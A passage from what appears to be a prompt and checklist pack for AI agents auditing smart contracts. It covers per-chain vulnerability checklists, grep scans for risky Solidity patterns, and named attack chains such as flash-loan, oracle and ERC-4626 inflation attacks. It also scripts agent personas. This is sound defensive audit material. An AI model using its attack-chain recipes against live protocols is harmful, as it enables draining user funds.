points**: - For each FQ flagged as High/Medium, map the state coupling around that code location - Check if the Feynman concern relates to a state coupling gap - A Feynman "why is this order chosen?" + a state coupling gap = strong finding candidate ### State Inconsistency Output Format ``` [SI-{N}] {State variable A} ↔ {State variable B} — GAP in {function} ├── Invariant: {A == B / A >= B / A changes implies B changes} ├── Mutation path: {function that updates A without B} ├── Window: {line range where invariant is violated} ├── Exploitable: {yes/no — can external call or read happen in window?} ├── Cross-feed: {related Feynman finding FQ-X or "none"} └── Priority: {Critical / High / Medium} ``` --- ## Convergence Rules ### Pass Alternation | Pass | Agent | Scope | Input | |------|-------|-------|-------| | 1 | Feynman | Full codebase | None (cold start) | | 2 | State Inconsistency | Full codebase | Pass 1 suspects | | 3 | Feynman (targeted) | New SI findings only | Pass 2 new findings | | 4 | State Inconsistency (targeted) | New FQ findings only | Pass 3 new findings | | 5 | Feynman (targeted) | New SI findings only | Pass 4 new findings | | 6 | State Inconsistency (targeted) | New FQ findings only | Pass 5 new findings | ### Convergence Criteria **Stop when ANY of these is true**: 1. Two consecutive passes produce **zero new findings** (converged) 2. Maximum of **6 passes** reached (hard limit) 3. All new findings in a pass are duplicates of existing findings ### Finding Deduplication Between passes: - Same root cause = same finding (keep higher-confidence version) - Same code location but different manifestation = separate findings - Cross-feed confirmation (FQ + SI on same code) = merge with boosted confidence (+10) --- ## Agent Prompts ### Agent 6 (State Inconsistency): Spawn Prompt ``` You are a State Inconsistency Auditor. Your job is to find bugs caused by coupled state variables that get out of sync. Map every state variable pair that has an invariant relationship. For each pair, trace ALL mutation paths. Find gaps where one variable updates without the other. When a gap exists AND an external call or read happens in the window, you have found a bug. You MUST use the Feynman suspects from the previous pass as targeted starting points. Focus your state coupling analysis around code locations flagged by the Feynman auditor. Previous Feynman findings to cross-reference: {paste FQ findings here} ``` ### Agent 7 (Feynman, beast mode): Spawn Prompt ``` You are a Feynman Auditor. Your job is to find bugs by questioning every code choice. For each function, ask the 7 Feynman questions. When you cannot explain WHY something is done a certain way, you have found a potential bug. Do not accept "it works" as an explanation — demand the specific reason for every ordering, every guard, and every absence of a guard. You MUST use the State Inconsistency findings from the previous pass as targeted starting points. Focus your questioning around state coupling gaps identified by the State Inconsistency auditor. Previous State Inconsistency findings to cross-reference: {paste SI findings here} ``` --- ## Integration with VeerSkills Pipeline The Nemesis Convergence Loop runs **after Phase 4 (ATTACK)** and **before Phase 5 (VALIDATE)** in beast mode only. ``` Phase 3: HUNT (vector scanning + systematic analysis) Phase 4: ATTACK (deep exploit validation) ↓ Phase 4.5: NEMESIS CONVERGENCE LOOP (beast mode only) Pass 1: Feynman full sweep Pass 2: State Inconsistency full sweep + FQ cross-feed Pass 3-6: Alternating targeted passes until convergence Merge with Phase 4 findings (deduplicate by root cause) ↓ Phase 5: VALIDATE (PoC + reproducibility for all findings) ``` This ensures: - Vector scanning (Phase 3) catches pattern-based bugs - Deep analysis (Phase 4) catches context-specific bugs - Nemesis loop (Phase 4.5) catches **logic bugs that neither pattern scanning nor single-pass analysis can find** - All findings go through the same validation pipeline (Phase 5) ## references/network-checklists.md # Multi-Network Security Checklists Chain-specific vulnerability patterns and audit considerations across **7 networks**. Sourced from WEB3-AUDIT-SKILLS network scanners, exvul_solana_auditor (67 items/15 categories), solana-auditor-skills, move-auditor-skills, ton-auditor-skills, and Trail of Bits cosmos scanner. Auto-loaded by VeerSkills Phase 1 (RECON) based on detected platform. --- ## EVM / Solidity Checklist ### Compiler & Language - [ ] Check `pragma solidity` version — <0.8.0 requires SafeMath verification - [ ] Audit all `unchecked` blocks — trace value bounds for every operation inside - [ ] Check for known compiler bugs: 0.8.13-0.8.14 (ABI encoder nested arrays), 0.8.15-0.8.19 (Yul optimizer) - [ ] Verify `PUSH0` compatibility if deploying to L2s (0.8.20+ defaults to Shanghai) - [ ] Check transient storage (`TSTORE`/`TLOAD`) usage if 0.8.24+ — new reentrancy patterns ### Token Handling - [ ] `SafeERC20` used for ALL token transfers (handles USDT no-return, BNB quirks) - [ ] Fee-on-transfer handling: balance-before/after pattern or token whitelist - [ ] Rebasing token handling: internal accounting vs raw balance - [ ] Token decimal assumptions: dynamic `decimals()` call, not hardcoded 18 - [ ] Approve race condition: use `safeIncreaseAllowance` or reset to 0 first - [ ] Token blocklist handling (USDC, USDT can freeze addresses) ### DeFi-Specific (EVM) - [ ] ERC-4626 vault: Virtual share offset or dead shares for inflation protection - [ ] Oracle: Chainlink staleness + L2 sequencer uptime check - [ ] AMM: Slippage protection + deadline on all swaps - [ ] Lending: Liquidation threshold vs LTV ratio gap prevents bad debt - [ ] Governance: Flash loan voting protection (snapshot-based voting power) - [ ] Bridge: Message source + sender + nonce validated on receive ### EVM L2-Specific - [ ] **Arbitrum/Optimism**: `block.number` semantics differ (returns L1 block on Arbitrum) - [ ] **Arbitrum/Optimism**: Sequencer downtime → oracle stale price risk - [ ] **zkSync Era**: `msg.value` behaves differently in system contracts - [ ] **zkSync Era**: No `SELFDESTRUCT`, different CREATE address derivation - [ ] **Blast**: ETH/USDB are rebasing by default — must set yield mode explicitly - [ ] **Blast**: `balanceOf()` can change between transactions without transfers - [ ] **Scroll/Linea**: zkEVM precompile/opcode cost differences ### Proxy / Upgrade - [ ] `_disableInitializers()` in implementation constructor - [ ] `__gap` arrays in all inherited upgradeable contracts - [ ] ERC-1967 slot compliance for admin/implementation - [ ] Storage layout consistency across upgrade versions - [ ] UUPS: `_authorizeUpgrade` properly access-controlled - [ ] Transparent proxy: Admin cannot call implementation functions --- ## Solana / Rust / Anchor Checklist ### Account Validation - [ ] **Owner check**: Every account's `owner` field validated against expected program - [ ] **Signer check**: All accounts requiring authorization have `is_signer` verification - [ ] **PDA validation**: Seeds and bump verified for all Program Derived Addresses - [ ] **Account type discrimination**: 8-byte discriminator checked (Anchor does this, native requires manual) - [ ] **Data size**: Account data size validated before deserialization - [ ] **Rent exemption**: Created accounts are rent-exempt or rent properly handled ### CPI (Cross-Program Invocation) - [ ] **Privilege escalation**: CPI signer seeds cannot be guessed or replicated by attacker - [ ] **Account substitution**: All accounts passed to CPI validated before invocation - [ ] **Return data**: CPI return values checked (not all programs return success/failure) - [ ] **Recursive CPI depth**: Maximum depth of 4 — verify stack doesn't overflow ### Arithmetic & Data - [ ] **Integer overflow**: Rust panics on overflow in debug but wraps in release — use `checked_*` or `saturating_*` - [ ] **Lamport accounting**: `from.lamports -= amount; to.lamports += amount;` must be atomic - [ ] **Remaining accounts**: If using `remaining_accounts`, validate each account's program/owner - [ ] **Account realloc**: `realloc` can only grow by 10240 bytes per top-level instruction ### Solana-Specific Attacks - [ ] **Closing accounts**: `close` must zero data AND transfer lamports (prevent resurrection attack) `[CL-VI-02]` - [ ] **Sysvar deprecation**: Use `Sysvar::get()` instead of passing sysvars as accounts `[CL-II-06]` - [ ] **Priority fees**: MEV on Solana works differently — validators can reorder within blocks - [ ] **Duplicate accounts**: Same account passed in multiple positions in instruction `[CL-VII-01]` - [ ] **Orphan accounts**: Parent account deleted but child references remain — stale state `[CL-II-13]` - [ ] **Account reloading**: CPI changes account state but caller uses stale pre-CPI data `[CL-IV-04]` ### Token-2022 / Token Extensions `[CAT-XII]` - [ ] **Transfer hooks**: Token-2022 transfer hooks can execute arbitrary logic during transfer — reentrancy risk - [ ] **Transfer fees**: Token extensions can deduct fees — actual received amount differs from transferred - [ ] **Non-transferable tokens**: Soulbound/non-transferable extensions may break escrow/vault logic - [ ] **Confidential transfers**: Encrypted amounts break balance assertions and math checks - [ ] **Permanent delegate**: Extension allows infinite delegation — security assumption broken - [ ] **Close authority**: Token-2022 close authority can delete mint — supply becomes unrecoverable - [ ] **Metadata pointer**: Metadata can reference arbitrary external data — validation required ### Data Encoding / Decoding `[CAT-XIV]` - [ ] **Borsh deserialization**: Untrusted data deserialized without validation — type confusion - [ ] **Account discriminator manipulation**: 8-byte discriminator spoofable if not verified - [ ] **Variable-length data**: Vec/String data exceeds account allocation — truncation or panic - [ ] **Remaining bytes**: Extra trailing data in account after deserialization ignored silently ### Transaction-Level Security `[CAT-XIII]` - [ ] **Instruction introspection**: `sysvar::instructions` can be used to enforce instruction ordering - [ ] **Flashbots/Jito bundles**: Atomic bundles can manipulate multiple accounts in single slot --- ## Move / Aptos / Sui Checklist ### Resource Safety - [ ] **Move semantics**: Resources cannot be copied or dropped unless ability granted - [ ] **Ability constraints**: `key`, `store`, `copy`, `drop` — verify each type has minimal abilities - [ ] **Hot potato pattern**: Objects without `drop` must be consumed — check anti-patterns - [ ] **Object ownership**: Sui shared vs owned objects — shared objects have different consistency ### Sui-Specific - [ ] **Shared objects**: Consensus ordering for shared object transactions — front-running risk - [ ] **Transfer policies**: Custom transfer policies can restrict object movement - [ ] **Dynamic fields**: Dynamic field access doesn't check type at compile time - [ ] **Clock object**: `Clock` access for timestamps — single source of time truth - [ ] **Package upgrades**: Upgrade caps control who can upgrade — verify proper custody ### Aptos-Specific - [ ] **Resource account**: `create_resource_account` signer cap management - [ ] **Coin registration**: `coin::register` required before receiving any coin type - [ ] **Table vs SimpleMap**: Performance and gas implications for data structure choice - [ ] **Events**: Event handle creation and emission for all state changes - [ ] **Module publishing**: Module replacement vs upgrade semantics ### Common Move Patterns - [ ] **Reentrancy**: Move's linear type system prevents most classic reentrancy, but cross-module callbacks possible - [ ] **Integer overflow**: Move has checked arithmetic by default — `unchecked_*` must be audited - [ ] **Access control**: `signer` validation for all privileged operations - [ ] **Math precision**: Fixed-point math libraries — verify rounding direction - [ ] **Capability pattern**: Capability creation, storage, and validation --- ## TON / FunC / Tact Checklist ### Message Handling - [ ] **Bounce handling**: Messages that fail bounce back — handle bounced messages properly - [ ] **Internal messages**: Validate source address for privileged operations - [ ] **External messages**: Replay protection (seqno) for external messages - [ ] **Message ordering**: TON doesn't guarantee message ordering — handle out-of-order - [ ] **Gas forwarding**: Verify sufficient gas forwarded with messages ### TON-Specific - [ ] **Storage fees**: State storage has ongoing fees — contracts can be frozen if balance depleted - [ ] **Contract destruction**: Low balance → contract destroyed → state lost - [ ] **Workchain isolation**: Messages between workchains have different routing - [ ] **Sharding**: Account state split across shards — cross-shard consistency - [ ] **Cell overflow**: Data packed into cells — verify cell depth and size limits (1023 bits/cell, max 4 refs) ### Tact-Specific - [ ] **Trait implementation**: Verify trait functions properly override base behavior - [ ] **String handling**: String operations in Tact have different gas costs than FunC - [ ] **Map operations**: Map iteration not supported — design around this limitation - [ ] **Optional types**: `null` handling for optional values --- ## Starknet / Cairo Checklist ### Cairo-Specific - [ ] **Felt252 overflow**: felt252 arithmetic wraps at the prime — verify bounds - [ ] **Storage proofs**: Storage proof verification for cross-contract reads - [ ] **Contract class hash**: Validate class hash of deployed contracts - [ ] **Reentrancy**: Cairo's execute-then-verify model — reentrancy possible during `call_contract` - [ ] **Nonce management**: Transaction nonce for replay protection ### Starknet-Specific - [ ] **Sequencer centralization**: Single sequencer can censor or reorder transactions - [ ] **L1-L2 messaging**: Message hash verification for cross-layer communication - [ ] **Storage layout**: Storage address computation differs from EVM - [ ] **Block timestamps**: Sequencer controls timestamps — less reliable than L1 - [ ] **Gas estimation**: Cairo steps != EVM gas — different optimization strategies --- ## Fuel / Sway Checklist *Source: WEB3-AUDIT-SKILLS fuel-scanner* ### Fuel-Specific - [ ] **UTXO model**: Fuel uses UTXO model not account model — state assumptions differ - [ ] **Predicate scripts**: Predicates are stateless — cannot store data between calls - [ ] **Message passing**: L1↔L2 message relay — verify message sender and nonce - [ ] **Storage slots**: Storage access is explicit via `storage` keyword — uninitialized slots return zero - [ ] **Contract ID**: Validate contract identity before cross-contract calls - [ ] **Asset system**: Native asset support (not just ETH) — multi-asset accounting critical - [ ] **Script vs Contract**: Script context has different capabilities than contract context - [ ] **Reentrancy**: Sway has no built-in reentrancy guard — must implement manually ## Cosmos / CosmWasm Checklist ### CosmWasm-Specific - [ ] **Instantiate vs Execute**: Initialization logic separation and protection - [ ] **Query handlers**: View functions must not modify state - [ ] **SubMsg replies**: Reply handling for cross-contract call results - [ ] **Bank module integration**: Coin send/receive validation - [ ] **IBC transfers**: Channel and denomination validation for cross-chain assets ### Cosmos SDK - [ ] **Module keeper access**: Keeper interface permissions and scope - [ ] **Governance proposals**: Parameter change proposal validation - [ ] **Staking interactions**: Delegation/undelegation timing and slashing - [ ] **Auth module**: Account sequence numbers for replay protection - [ ] **Crisis module**: Invariant checking and halt conditions --- ## Universal Checks (All Networks) These apply regardless of blockchain: ### Logic Errors - [ ] Off-by-one in loops and boundary conditions - [ ] Incorrect operator (< vs <=, && vs ||) - [ ] Missing edge case: zero amount, max value, empty collection - [ ] State not reset after operation (stale flags, counters) - [ ] Return value ignored or inverted ### Economic Logic - [ ] Fees calculated correctly and bounded - [ ] Interest/reward calculations use correct time base - [ ] Exchange rate calculations handle edge cases - [ ] Liquidation mechanics prevent bad debt accumulation - [ ] Withdrawal limits and cooldowns function correctly ### Governance & Admin - [ ] Admin functions protected by timelock - [ ] Multi-sig required for critical operations - [ ] Role grants/revocations properly logged - [ ] Emergency pause doesn't lock user funds permanently - [ ] Upgrade path doesn't brick the protocol ## references/phase-3-hunt.md # Phase 3: HUNT — Systematic Hotspot Identification **Step 3.0: Load protocol-specific checklist.** Read `{resolved_path}/references/protocol-checklists.md` and load the section matching the detected protocol type. ALWAYS also load the Solcurity and Secureum sections. ## 3.A — Vector Triage Pass *(280+ vectors from attack-vectors.md — UPGRADED with Pashov's 3-tier system)* For each of the 280+ attack vectors assigned to the agent: **Triage**: Classify into three tiers using **Skip/Borderline/Survive** classification: - **Skip** — the named construct AND underlying concept are both absent (e.g., ERC721 vectors when no NFTs exist) - **Borderline** — the named construct is absent but the underlying vulnerability concept could manifest through a different mechanism. Promote only if you can (a) name the specific function where the concept manifests AND (b) describe in one sentence how the exploit works; otherwise drop. - **Survive** — the construct or pattern is clearly present Output triage: ``` Skip: V2, V19, V61, ... Borderline: V44 (similar caching in getReserves()), V78 (returndatasize in proxy fallback) Survive: V9, V52, V73, ... Total: {N} classified ``` **Deep pass**: Only for surviving vectors using structured one-liner format: ``` V52: path: deposit() → _transfer() → transferFrom | guard: none | verdict: CONFIRM [85] V73: path: deposit() → transferFrom | guard: balance-before-after present | verdict: DROP (FP gate 3: guarded) ``` Budget: ≤1 line per dropped vector, ≤3 lines per confirmed vector. ## 3.B — Grep-Scan Pass *(original VeerSkills methodology)* Before function-level analysis, run fast codebase-wide pattern scan: **Syntactic Grep**: Search for high-risk patterns: ```bash # Reentrancy signals grep -rn "\.call{" --include="*.sol" | grep -v test grep -rn "transferFrom\|safeTransferFrom" --include="*.sol" | grep -v test # Oracle/price signals grep -rn "latestRoundData\|getPrice\|slot0\|getReserves" --include="*.sol" # Access control gaps grep -rn "function.*external\|function.*public" --include="*.sol" | grep -v "onlyOwner\|onlyRole\|onlyAdmin\|modifier" # Dangerous patterns grep -rn "delegatecall\|selfdestruct\|tx.origin\|abi.encodePacked" --include="*.sol" grep -rn "unchecked" --include="*.sol" | grep -v test ``` **Semantic Sweep**: Read for non-greppable vulnerabilities: - Business logic flaws (incorrect state transitions, missing edge cases) - Economic attacks (incentive misalignment, free options, value extraction) - Cross-contract state coupling (shared variables, view reentrancy) - Missing validation (zero amounts, empty arrays, max values) ## 3.C — Anti-Pattern Scan *(from anti-patterns.md)* Scan the codebase against ALL anti-patterns from `references/anti-patterns.md`: - Match each anti-pattern's ❌ WRONG pattern against the code - For each match: check if the ✅ RIGHT pattern is used instead - If wrong pattern matched and right pattern not present → flag as suspect ## 3.D — Function-Level Analysis For each public/external function that writes state, moves value, or makes external calls: 1. **Master Checklist Sweep**: All 25 sections of `references/master-checklist.md` (~219 checks) 2. **Static Analysis Check**: Review Slither/Aderyn results for this function 3. **Cyfrin Category Drill**: Call `mcp__sc-auditor__get_checklist` with `{category: ""}` 4. **Protocol-Specific Checklist**: Sweep items from `references/protocol-checklists.md` 5. **Protocol Route Checks**: Sweep the Required Checks and Critical Path vectors from `references/protocol-routes.md` 6. **Real-World Correlation**: Call `mcp__claudit__search_findings` with relevant keywords 7. **Invariant Check**: Can this function violate any invariant from Phase 2? 8. **Vulnerability Matrix Sweep**: All classes × checks from `references/vulnerability-matrix.md` ## 3.E — Variant Analysis *(from WEB3-AUDIT-SKILLS)* For EVERY confirmed suspicious spot, systematically hunt for ALL variants: **Abstraction Ladder** — abstract each finding to Level 2-3: ``` Level 0 (Specific): "withdraw() doesn't check transfer return" Level 1 (Function): "unchecked return on token transfer" Level 2 (Category): "unchecked external call return value" ← SEARCH HERE Level 3 (Root Cause): "missing validation of external result" ``` **5 Variant Dimensions**: 1. **Same function, different contracts** → grep the signature across codebase 2. **Same root cause, different functions** → grep the anti-pattern in ALL functions 3. **Same pattern, different manifestation** → trace data flow for equivalent logic 4. **Cross-contract variants** → check all modules for same missing guard 5. **Cross-protocol variants** → call `mcp__claudit__search_findings` with root cause ## 3.F — Attack Chain Detection *(from WEB3-AUDIT-SKILLS — UPGRADED)* Detect multi-step exploits where individual steps appear benign: **Chain Types** (inspired by real exploits): - **Flash Loan Chain**: Flash loan → price/governance manipulation → value extraction (Beanstalk $182M) - **Oracle Chain**: Oracle distortion → under-collateralized borrow → drain (Cream $130M) - **Bridge Chain**: Signature bypass → fake proof → unauthorized mint (Wormhole $326M) - **Governance Chain**: Vote acquisition → proposal → execution (Beanstalk $182M) - **Permit2 Chain** *(NEW)*: Approve permit2 → allowance inheritance → third-party protocol drains via inherited allowance - **Hook Chain** *(NEW)*: V4-style hook → state manipulation in `beforeSwap` → `afterSwap` reads stale state → profit extraction - **Composability Chain** *(NEW)*: Protocol A calls B calls C → state inconsistency at A when C reverts/pauses/returns unexpected data - **ERC4626 Inflation Chain** *(NEW)*: Donate tokens → inflate share price → front-run depositor → withdraw inflated amount - **Self-Liquidation Chain** *(NEW)*: Manipulate oracle → bring own position underwater → liquidate self from 2nd address → collect bonus **Detection**: For each finding, ask: "Can this be STEP 1 of a multi-step exploit?" Trace forward through all reachable state changes. Check if combining 2-3 'medium' findings creates a 'critical' chain. For each suspicious spot, output: ``` [HUNT-{N}] {One-line summary} ├── Components: {contracts + functions} ├── Attacker: {unprivileged user / flash loan / MEV bot} ├── Invariants: {which could be violated} ├── Evidence: {tool findings, checklist items, Solodit matches, vector IDs} ├── Confidence: [{score}] with deduction breakdown ├── Variants: {count of related instances found} ├── Chain: {standalone | step in chain [chain-id]} └── Priority: {Critical / High / Medium / Low} ``` ## 3.G — Reverse Impact Hunt *(NEW — backward-from-impact search)* **Core Insight**: Standard vector scanning works FORWARD (pattern → bug?). Many critical bugs are only found by working BACKWARD (catastrophic outcome → what path reaches it?). **MANDATORY for deep/beast modes. Recommended for standard.** Enumerate ALL catastrophic outcomes for this protocol type, then trace backward: | Impact Category | Specific Outcomes to Trace Backward From | |---|---| | **Fund Drain** | `token.transfer(attacker, ...)` where amount > attacker's deposit | | **Unbacked Minting** | `_mint(attacker, shares)` without proportional asset deposit | | **Liquidation Bypass** | `healthFactor >= 1` returns true when position is actually underwater | | **Share Price Manipulation** | `totalAssets / totalSupply` returning attacker-controlled value | | **Access Control Bypass** | `onlyOwner` function callable without owner being `msg.sender` | | **Permanent Lock** | `withdraw()` always reverting for a legitimate depositor | | **Oracle Corruption** | `getPrice()` returning attacker-manipulable value | **For each outcome:** 1. Identify ALL functions that could produce this outcome 2. Trace backward: what input values and state conditions make this function produce the catastrophic result? 3. Can an attacker arrange those conditions? (via flash loan, front-running, governance, direct call) 4. If yes → flag as `[REVERSE-{N}]` with the full backward trace ``` [REVERSE-{N}] {Catastrophic outcome} achievable via {path} ├── Outcome: {e.g., "attacker extracts 2x their deposit"} ├── Terminal Function: {file.sol:L142 — _mint(attacker, inflatedShares)} ├── Backward Trace: _mint ← deposit() ← [no totalSupply check when totalSupply == 0] ├── Attacker Setup: First depositor deposits 1 wei, donates 1e18 directly ├── Invariant Broken: {E1: No Free Lunch} └── Priority: {Critical / High} ``` ## 3.H — Data Flow Graph + State Mutation Tracker *(NEW)* **MANDATORY for deep/beast modes.** Build a machine-readable data flow graph for the entire codebase: **Step 3.H.1: State Variable Census** For every state variable, create: ``` | Variable | Readers (functions) | Writers (functions) | External Deps | |----------|--------------------|--------------------|---------------| | totalSupply | balanceOf, deposit, withdraw, getSharePrice | deposit, withdraw, _mint, _burn | None | | totalAssets | deposit, withdraw, getSharePrice, harvest | deposit, withdraw, harvest | strategy.totalValue() | ``` **Step 3.H.2: Orphan Detection** - **Orphan Writes**: State written but never read → dead code or missing validation - **Orphan Reads**: State read but never written (beyond initialization) → constant or misconfiguration - **Write-Without-Guard**: State written without prior validation (`require`) → potential corruption **Step 3.H.3: Stale Read Detection** For every function that reads state AND makes an external call: 1. Does any other function modify the same state? 2. Can the external call trigger a callback that calls that other function? 3. If yes → state read is STALE during callback window → flag as `[STALE-{N}]` **Step 3.H.4: Cross-Function Write Conflict** For every state variable written by 2+ functions: 1. Can they execute concurrently in the same transaction? (via reentrancy) 2. Do they assume the variable hasn't changed since their read? 3. If yes → flag as `[CONFLICT-{N}]` Log the full data flow graph in `audit-debug.md`. ## 3.I — Boundary Value Injection Protocol *(NEW)* **MANDATORY for all modes.** Catches edge-case bugs that pattern matching misses. For every arithmetic operation, comparison, or state transition in critical functions, mentally inject these values and trace the result: | Category | Values to Inject | What Breaks | |----------|-----------------|-------------| | **Zero** | `0`, `address(0)`, empty bytes `""`, empty array `[]` | Division by zero, zero-amount transfers, null recipients | | **One** | `1`, `1 wei` | Rounding to zero, dust positions, minimum viable exploit | | **Max** | `type(uint256).max`, `type(int256).max`, `type(int256).min` | Overflow in unchecked, truncation on downcast | | **Boundary** | `type(uint128).max`, `2**255`, `10**18 - 1` | Edge of safe arithmetic regions | | **First/Last** | First deposit (`totalSupply == 0`), last withdrawal (`totalSupply → 0`) | Division by zero, inflation attacks, empty pool | | **Self-Reference** | `msg.sender == address(this)`, `from == to`, `tokenA == tokenB` | Self-transfer, self-liquidation, pool with same token | | **Array Edge** | Single element `[x]`, max elements, duplicate elements | Off-by-one, duplicate processing, gas limit | **For each injection that produces an unexpected result:** ``` [BOUNDARY-{N}] {function}({injected_value}) → {unexpected_result} ├── Input: {specific value injected} ├── Expected: {what should happen} ├── Actual: {what code does — trace through} ├── Exploitable: {yes/no + how attacker triggers this} └── Priority: {Critical / High / Medium / Low} ``` ## 3.J — Multi-Expert Analysis Rounds *(NEW — from Forefy — standard+ modes)* **MANDATORY for standard/deep/beast modes.** Applies THREE SEPARATE ANALYSIS ROUNDS with completely different personas. Each expert analyzes independently — NO cross-referencing between experts during their analysis. **EXECUTION INSTRUCTION**: You must perform THREE SEPARATE ANALYSIS ROUNDS, adopting a completely different persona and approach for each expert. Do not blend their perspectives — maintain strict separation between each expert's analysis. ### ROUND 1: Security Expert 1 Analysis **PERSONA**: Primary Smart Contract Auditor **MINDSET**: Systematic, methodical, focused on core vulnerabilities **ANALYSIS APPROACH**: 1. **SYSTEMATIC CODE REVIEW**: - Start with highest-risk functions (payable, external calls, admin functions) - Map all fund flow paths and state changes - Analyze external dependencies and oracle integrations - Document findings with precise business impact context 2. **VULNERABILITY PATTERN MATCHING**: - Check for reentrancy vulnerabilities (all variants) - Validate access control mechanisms and permissions - Analyze arithmetic operations for precision/overflow issues - Review external call safety and return value handling **OUTPUT REQUIREMENT**: Complete your full analysis as Expert 1, document all findings, then explicitly state: "--- END OF EXPERT 1 ANALYSIS ---" ### ROUND 2: Security Expert 2 Analysis **PERSONA**: Secondary Smart Contract Auditor **MINDSET**: Fresh perspective, economic focus, integration specialist **CRITICAL**: Do NOT reference or build upon Expert 1's findings. Approach as if you've never seen their analysis. **ANALYSIS APPROACH**: 1. **INDEPENDENT PROTOCOL ANALYSIS**: - Fresh review of all smart contract components - Different perspective on economic attack vectors - Alternative vulnerability assessment methodologies - Cross-validation of tokenomics and governance mechanisms 2. **INTEGRATION SECURITY FOCUS**: - Inter-contract communication security - External protocol integration risks - Composability and flash loan attack scenarios - Long-term protocol sustainability and upgrade risks **OUTPUT REQUIREMENT**: Complete your independent analysis as Expert 2, then provide oversight analysis of Expert 1's findings and explicitly state: "--- END OF EXPERT 2 ANALYSIS ---" **OVERSIGHT ANALYSIS RESPONSIBILITY**: After completing your independent analysis, review Expert 1's findings and provide honest self-reflection: - Do you disagree that it's a valid vulnerability? Explain your reasoning - Did you miss it due to different analysis focus or methodology? - Was it an oversight in your systematic review process? - Would you have caught it with more time or different approach? ### ROUND 3: Triager Validation **PERSONA**: Customer Validation Expert (Budget Protector) **MINDSET**: Financially motivated skeptic who must protect the security budget **APPROACH**: Actively challenge and attempt to disprove BOTH Expert 1 and Expert 2 findings **ENHANCED TRIAGER MANDATE**: ``` You represent the PROTOCOL TEAM who controls the bounty budget and CANNOT AFFORD to pay for invalid findings. Your job is to PROTECT THE BUDGET by challenging every finding from Security Experts 1 and 2. You are FINANCIALLY INCENTIVIZED to reject findings — every dollar saved on false positives is money well spent. You must be absolutely certain a finding is genuinely exploitable before recommending any bounty payment. MANDATORY CROSS-REFERENCE VALIDATION: □ Finding Consistency Check: Compare all findings for logical contradictions or overlapping issues □ Evidence Chain Validation: Verify each finding's evidence chain (Code Pattern → Vulnerability → Impact → Risk) □ Contract Location Verification: Confirm all referenced contracts, functions, and line numbers exist and are accurate □ Attack Path Cross-Check: Ensure attack scenarios don't contradict protocol protections found in other areas □ Severity Calibration Review: Check if severity levels are consistent across similar finding types □ Economic Impact Validation: Verify economic attack scenarios are realistic and profitable BUDGET-PROTECTION VALIDATION: □ Technical Disproof: Actively test the finding to prove it's NOT exploitable in practice □ Economic Disproof: Calculate realistic attack costs vs profits to show it's unprofitable □ Evidence Challenges: Identify flawed assumptions and test alternative scenarios □ Exploitability Testing: Try to reproduce the attack and document where it fails □ False Positive Detection: Find protocol protections or mitigations that prevent exploitation □ Production Reality Check: Test how actual deployment conditions invalidate the finding Your default stance is BUDGET PROTECTION — only pay bounties for undeniably valid, exploitable vulnerabilities. ``` **ENHANCED TRIAGER VALIDATION FOR EACH FINDING**: ```markdown ### Triager Validation Notes **Cross-Reference Analysis**: - Checked finding against all other discoveries for consistency - Verified no contradictory evidence exists in other analyzed contracts - Confirmed attack path doesn't conflict with protocol protections found elsewhere - Validated severity level matches similar findings in this audit **Economic Feasibility Check**: - Calculated realistic attack costs (gas fees, capital requirements, time investment) - Analyzed profit potential vs. risk and complexity - Evaluated if attack is economically rational for attackers **Technical Verification**: - Actively tested the vulnerability by attempting reproduction with provided steps - Performed technical disproof attempts: [specific tests run to invalidate the finding] - Verified contract locations and challenged technical feasibility through direct testing - Calculated realistic economic scenarios to disprove profitability claims **Evidence Chain Validation**: [Document the complete evidence chain and validate each link: - Code Pattern Observed: [Specific smart contract code pattern] - Vulnerability Type: [How pattern leads to security weakness] - Attack Vector: [How an attacker would exploit this] - Business Impact: [Real-world consequences for protocol and users] - Risk Assessment: [Why this matters to the protocol team]] **Protocol Context Validation**: [Specific technical challenges raised against this finding: - Contract function calls tested and results - Economic scenarios simulated and actual outcomes - Integration tests performed and discrepancies found - External dependency checks and potential mitigating factors] **Dismissal Assessment**: - **DISMISSED**: Finding is invalid because [specific technical reasons proving it's not exploitable] - **QUESTIONABLE**: Technical issue may exist but [specific concerns about practical exploitability/economic viability] - **RELUCTANTLY VALID**: Finding is technically sound despite [attempts to dismiss - specific validation evidence] **Economic Recommendation**: [Harsh economic critique: Why this finding should be deprioritized or dismissed, focusing on unrealistic economic assumptions, impractical attack scenarios, or misunderstanding of protocol economics] **Technical Recommendation**: [Harsh technical critique: Why this finding should be deprioritized or dismissed, focusing on technical inaccuracies, impractical scenarios, or misunderstanding of protocol mechanics] ``` **OUTPUT REQUIREMENT**: Complete triager validation for ALL findings from Experts 1 and 2, then explicitly state: "--- END OF TRIAGER VALIDATION ---" --- ### CHECKPOINT Present numbered list of ALL findings from 3.A through 3.J. Ask: *"Select targets for ATTACK phase (numbers, 'all', or 'high-only')."* ## references/phase-4-attack.md # Phase 4: ATTACK — Deep Exploit Validation For each selected target, one at a time: ## 4.1 Trace Call Path Read actual code. Trace variable values through execution. Map every external call, state change, and branch. ## 4.2 Construct Attack Narrative - **Attacker role**: Who (any user, flash loan borrower, MEV bot) - **Call sequence**: Exact transaction sequence to exploit - **Broken invariant**: Which invariant violated - **Extracted value**: What attacker gains (funds, shares, access) - **Capital required**: Flash loan size, gas cost, timing constraints ## 4.3 Full 6-Check FP Gate — Deep Enforcement (MANDATORY) Apply all 6 checks from `references/fp-gate.md` with **mandatory evidence artifacts and depth validation**: 1. **Concrete path** (4+ hops): Trace caller → function → state change → impact. Each hop must cite exact `file:line`. Impact quantified in units. 2. **Reachable** (grep-verified): Execute `grep -n "modifier\|onlyOwner\|onlyRole\|require(msg.sender"` on affected file and paste output. No grep = FAIL. 3. **No guard** (8-point sweep): Search ALL 8 guard categories (reentrancy lock, CEI pattern, SafeERC20, allowance/balance, input validation, compiler version, library protections, inherited protections). Log each with grep command + result count. 4. **Cross-file** (3+ file reads): Read ≥3 files beyond affected file. Grep function name across entire codebase. Trace full inheritance chain. List every file read. 5. **Dry-run** (dual trace): Perform TWO traces — realistic values AND adversarial edge cases (0, max_uint, 1 wei). Each trace must show ≥5 state checkpoints with variable values at each step. 6. **Solodit check** (mandatory tool call): Execute ≥2 `mcp__claudit__search_findings` queries (root cause pattern + impact pattern). Review ≥5 results. Address any matching invalidated findings. **Anti-Rubber-Stamp Rule**: Any check with PASS evidence under 80 characters → entire gate FAILS. One-sentence passes are skips, not verification. **Adversarial Meta-Check** (after all 6 pass): Write ≥3 sentences attempting to invalidate the finding as a skeptical judge. Rebut each with evidence from checks 1-6. If any rebuttal fails → DROP. **Evidence Depth Validation**: Before finalizing, verify each check's evidence against the 